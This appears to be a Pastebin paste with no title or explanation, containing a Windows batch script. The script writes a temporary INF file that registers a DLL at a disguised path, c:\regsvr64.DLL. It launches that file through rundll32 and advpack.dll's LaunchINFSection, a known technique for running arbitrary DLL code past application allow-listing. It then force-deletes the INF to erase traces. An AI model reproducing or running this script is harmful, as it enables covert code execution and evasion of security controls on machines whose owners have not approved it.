Advertisement
rafelivgi

Untitled

Feb 28th, 2020
657
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.44 KB | None | 0 0
  1. @echo off
  2. echo [version]>>"%temp%\drp.inf"
  3. echo signature="$CHICAGO$">>"%temp%\drp.inf"
  4. echo >>"%temp%\drp.inf"
  5. echo [DefaultInstall]>>"%temp%\drp.inf"
  6. echo RegisterOCXs=RegisterFiles.register>>"%temp%\drp.inf"
  7. echo >>"%temp%\drp.inf"
  8. echo [RegisterFiles.register]>>"%temp%\drp.inf"
  9. echo c:\regsvr64.DLL,NI,>>"%temp%\drp.inf"
  10. echo >>"%temp%\drp.inf"
  11.  
  12. rundll32.exe advpack.dll,LaunchINFSection "%temp%\drp.inf",,1,
  13. del /q /f "%temp%\drp.inf"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement